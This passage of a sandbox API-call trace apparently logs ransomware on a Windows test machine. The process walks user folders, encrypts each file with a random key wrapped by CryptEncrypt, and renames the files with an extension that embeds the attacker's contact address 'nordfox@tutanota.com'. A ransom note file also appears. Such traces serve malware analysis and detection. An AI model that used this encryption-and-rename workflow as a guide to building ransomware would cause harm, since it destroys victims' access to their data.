HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d8c8 | out: hHeap=0x520000) returned 1 [0113.338] CreateFileW (lpFileName="\\Users\\FD1HVy\\Saved Games\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\saved games\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x604 [0113.338] GetFileSizeEx (in: hFile=0x604, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=282) returned 1 [0113.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11a) returned 0x571fc8 [0113.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11a) returned 0x5646a8 [0113.338] ReadFile (in: hFile=0x604, lpBuffer=0x571fc8, nNumberOfBytesToRead=0x11a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x571fc8*, lpNumberOfBytesRead=0x2e1f9bc*=0x11a, lpOverlapped=0x0) returned 1 [0113.339] SetFilePointer (in: hFile=0x604, lDistanceToMove=-282, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.339] WriteFile (in: hFile=0x604, lpBuffer=0x5646a8*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5646a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11a, lpOverlapped=0x0) returned 1 [0113.339] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0113.339] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0113.340] SetFilePointer (in: hFile=0x604, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11a [0113.340] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.340] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.340] WriteFile (in: hFile=0x604, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.340] WriteFile (in: hFile=0x604, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.340] CloseHandle (hObject=0x604) returned 1 [0113.340] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0113.340] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0113.341] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Saved Games\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\saved games\\desktop.ini"), lpNewFileName="\\Users\\FD1HVy\\Saved Games\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\saved games\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.362] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563960 | out: hHeap=0x520000) returned 1 [0113.362] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0113.362] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0113.362] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0113.362] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0113.362] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e08 | out: hHeap=0x520000) returned 1 [0113.362] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0113.362] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Searches\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd462426d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd20ba189, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c6418 [0113.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0113.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0113.363] GetLastError () returned 0x0 [0113.363] SetLastError (dwErrCode=0x0) [0113.363] GetLastError () returned 0x0 [0113.363] SetLastError (dwErrCode=0x0) [0113.363] GetLastError () returned 0x0 [0113.363] SetLastError (dwErrCode=0x0) [0113.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c80 [0113.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d0e0 [0113.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d0e0 | out: hHeap=0x520000) returned 1 [0113.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0113.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6698 [0113.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6698 | out: hHeap=0x520000) returned 1 [0113.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20288 [0113.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20288 | out: hHeap=0x520000) returned 1 [0113.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0113.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c80 | out: hHeap=0x520000) returned 1 [0113.363] FindNextFileW (in: hFindFile=0x5c6418, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd462426d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd20ba189, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0113.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0113.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789f8 [0113.363] GetLastError () returned 0x0 [0113.364] SetLastError (dwErrCode=0x0) [0113.364] GetLastError () returned 0x0 [0113.364] SetLastError (dwErrCode=0x0) [0113.364] GetLastError () returned 0x0 [0113.364] SetLastError (dwErrCode=0x0) [0113.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c80 [0113.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d348 [0113.364] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0113.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7a8 [0113.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c60d8 [0113.364] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c60d8 | out: hHeap=0x520000) returned 1 [0113.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20120 [0113.364] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20120 | out: hHeap=0x520000) returned 1 [0113.364] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7a8 | out: hHeap=0x520000) returned 1 [0113.364] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c80 | out: hHeap=0x520000) returned 1 [0113.364] FindNextFileW (in: hFindFile=0x5c6418, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44137e3b, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0113.364] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789f8 | out: hHeap=0x520000) returned 1 [0113.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0113.364] GetLastError () returned 0x0 [0113.364] SetLastError (dwErrCode=0x0) [0113.364] GetLastError () returned 0x0 [0113.364] SetLastError (dwErrCode=0x0) [0113.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0113.364] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0113.364] GetLastError () returned 0x0 [0113.364] SetLastError (dwErrCode=0x0) [0113.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7a8 [0113.365] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7a8 | out: hHeap=0x520000) returned 1 [0113.365] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d1e8 [0113.365] FindNextFileW (in: hFindFile=0x5c6418, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x44269063, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44269063, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x44269063, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0113.365] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0113.365] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0113.365] GetLastError () returned 0x0 [0113.365] SetLastError (dwErrCode=0x0) [0113.365] GetLastError () returned 0x0 [0113.365] SetLastError (dwErrCode=0x0) [0113.365] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0113.365] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0113.365] GetLastError () returned 0x0 [0113.365] SetLastError (dwErrCode=0x0) [0113.365] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566d60 [0113.365] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0113.365] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566d60 | out: hHeap=0x520000) returned 1 [0113.365] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0113.365] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b88 [0113.365] FindNextFileW (in: hFindFile=0x5c6418, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x44242e24, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44242e24, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x44242e24, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0113.365] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0113.365] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0113.365] GetLastError () returned 0x0 [0113.365] SetLastError (dwErrCode=0x0) [0113.366] GetLastError () returned 0x0 [0113.366] SetLastError (dwErrCode=0x0) [0113.366] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0113.366] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0113.366] GetLastError () returned 0x0 [0113.366] SetLastError (dwErrCode=0x0) [0113.366] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0113.366] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7f8 [0113.366] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0113.366] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7f8 | out: hHeap=0x520000) returned 1 [0113.366] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567a30 [0113.366] FindNextFileW (in: hFindFile=0x5c6418, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd20ba189, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd20ba189, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd20ba189, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0113.366] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0113.366] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0113.366] GetLastError () returned 0x0 [0113.366] SetLastError (dwErrCode=0x0) [0113.366] GetLastError () returned 0x0 [0113.366] SetLastError (dwErrCode=0x0) [0113.366] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0113.366] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0113.366] GetLastError () returned 0x0 [0113.366] SetLastError (dwErrCode=0x0) [0113.366] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7a8 [0113.366] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7a8 | out: hHeap=0x520000) returned 1 [0113.366] FindNextFileW (in: hFindFile=0x5c6418, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b71b019, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b71b019, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x2b71b019, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms", cAlternateFileName="WINRT-~1.SEA")) returned 1 [0113.366] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0113.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0113.367] GetLastError () returned 0x0 [0113.367] SetLastError (dwErrCode=0x0) [0113.367] GetLastError () returned 0x0 [0113.367] SetLastError (dwErrCode=0x0) [0113.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0113.367] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0113.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8e30 [0113.367] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0113.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x571fc8 [0113.367] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8e30 | out: hHeap=0x520000) returned 1 [0113.367] GetLastError () returned 0x0 [0113.367] SetLastError (dwErrCode=0x0) [0113.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563c00 [0113.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671c0 [0113.367] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563c00 | out: hHeap=0x520000) returned 1 [0113.367] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671c0 | out: hHeap=0x520000) returned 1 [0113.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b730 [0113.367] FindNextFileW (in: hFindFile=0x5c6418, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b71b019, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b71b019, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x2b71b019, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms", cAlternateFileName="WINRT-~1.SEA")) returned 0 [0113.368] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55bec8 [0113.368] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4428 [0113.368] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0113.368] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0113.368] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0113.368] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms", dwFileAttributes=0x80) returned 1 [0113.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55c078 [0113.375] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x136) returned 0x5646a8 [0113.375] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55c078 | out: hHeap=0x520000) returned 1 [0113.375] CreateFileW (lpFileName="\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms" (normalized: "c:\\users\\fd1hvy\\searches\\winrt--{s-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x608 [0113.375] GetFileSizeEx (in: hFile=0x608, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=855) returned 1 [0113.375] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x357) returned 0x555b90 [0113.375] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x357) returned 0x582160 [0113.375] ReadFile (in: hFile=0x608, lpBuffer=0x555b90, nNumberOfBytesToRead=0x357, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x555b90*, lpNumberOfBytesRead=0x2e1f9bc*=0x357, lpOverlapped=0x0) returned 1 [0113.387] SetFilePointer (in: hFile=0x608, lDistanceToMove=-855, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.387] WriteFile (in: hFile=0x608, lpBuffer=0x582160*, nNumberOfBytesToWrite=0x357, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesWritten=0x2e1f9bc*=0x357, lpOverlapped=0x0) returned 1 [0113.387] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555b90 | out: hHeap=0x520000) returned 1 [0113.387] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582160 | out: hHeap=0x520000) returned 1 [0113.388] SetFilePointer (in: hFile=0x608, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x357 [0113.388] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.388] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.388] WriteFile (in: hFile=0x608, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.390] WriteFile (in: hFile=0x608, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.390] CloseHandle (hObject=0x608) returned 1 [0113.390] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4428 | out: hHeap=0x520000) returned 1 [0113.390] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0113.390] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms" (normalized: "c:\\users\\fd1hvy\\searches\\winrt--{s-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms"), lpNewFileName="\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\searches\\winrt--{s-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.392] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0113.392] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55bec8 | out: hHeap=0x520000) returned 1 [0113.392] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b730 | out: hHeap=0x520000) returned 1 [0113.392] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5673a0 [0113.392] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c38d0 [0113.392] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0113.392] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c38d0 | out: pbBuffer=0x5c38d0) returned 1 [0113.392] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0113.392] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms", dwFileAttributes=0x80) returned 1 [0113.393] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567760 [0113.393] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e87f0 [0113.393] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567760 | out: hHeap=0x520000) returned 1 [0113.393] CreateFileW (lpFileName="\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\fd1hvy\\searches\\indexed locations.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x608 [0113.393] GetFileSizeEx (in: hFile=0x608, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=248) returned 1 [0113.393] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf8) returned 0x5646a8 [0113.393] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf8) returned 0x5647a8 [0113.393] ReadFile (in: hFile=0x608, lpBuffer=0x5646a8, nNumberOfBytesToRead=0xf8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5646a8*, lpNumberOfBytesRead=0x2e1f9bc*=0xf8, lpOverlapped=0x0) returned 1 [0113.395] SetFilePointer (in: hFile=0x608, lDistanceToMove=-248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.396] WriteFile (in: hFile=0x608, lpBuffer=0x5647a8*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5647a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf8, lpOverlapped=0x0) returned 1 [0113.399] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0113.399] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5647a8 | out: hHeap=0x520000) returned 1 [0113.399] SetFilePointer (in: hFile=0x608, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf8 [0113.399] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.399] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c38d0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c38d0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.399] WriteFile (in: hFile=0x608, lpBuffer=0x5c38d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c38d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.399] WriteFile (in: hFile=0x608, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, 